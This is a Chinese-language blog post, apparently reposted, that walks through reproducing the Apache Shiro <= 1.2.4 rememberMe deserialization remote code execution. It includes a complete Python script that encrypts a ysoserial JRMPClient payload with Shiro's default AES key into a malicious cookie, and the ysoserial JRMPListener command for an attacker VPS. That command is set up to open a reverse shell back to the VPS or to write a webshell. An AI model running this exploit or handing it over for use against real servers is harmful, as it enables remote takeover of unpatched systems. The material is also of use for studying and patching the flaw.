Apache Shiro反序列化远程代码执行复现

影响版本

Apache Shiro <= 1.2.4

利用组件

org.apache.commons中的commons-collections4(理论上commons-collections2也有)

利用位置

任意http请求中cookie处rememberMe参数


5350990-e028ac1bdc95139c.png
利用位置

环境搭建难点

Shiro利用maven编译有很多坑点,鉴于过于痛苦,我列出主要坑点

1.机器需要安装mvn、svn命令
2.jdk建议为1.6
3.maven版本最好为3.1.1

解决上面的环境需求,基本上不会编译失败。
如果你实在是编译失败到没有信心,可以使用我提供的war包:
https://pan.baidu.com/s/1dSHR21IQbrLHpaSQ1TI23A 提取码: zg4h
部署war包很简单,只需要将其放到tomcat中的webapps目录下,它将会自动解压,当然它的默认名称是samples-web-1.2.4,为了访问方便我们可以重命名为shiro

5350990-30003f1eaefcead3.png
shiro

利用步骤

利用环境准备
5350990-0d747fb8c42b27c3.png
运行环境

你需要在公网VPS上放置一个ysoserial,配合使用以下python脚本

shiro_exp_payload.py

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES


def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
print "rememberMe={0}".format(payload.decode())
执行命令

1.先执行反弹shell的命令
2.在vps上执行如下命令
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "反弹shell的命令"

这里的命令,需要使用Java Runtime配合bash编码,CommonsCollections4也可以换成CommonsCollections2
3.使用python脚本
python shiro_exp_payload.py vpsip:1099
python脚本将生成cookie,你将cookie带入http请求中即可反弹shell
例如下图

5350990-af55bcefdf7aa88c.png
带cookie访问

5350990-db5eb616f96b46e5.png
反弹shell

5350990-601a031fe410e355.png
反弹shell

(我这里给出的是反弹shell,当然你可以利用echo写入shell什么的,只需要反弹shell的命令换成写shell的命令)

写shell的路径可根据下图参考


5350990-8facd64d1a2909e9.png
写shell路径
5350990-09a0bd5efa9e4cd1.png
webshell

转载于:https://www.jianshu.com/p/c0cb65667145

猜你喜欢

转载自blog.csdn.net/weixin_34040079/article/details/91268594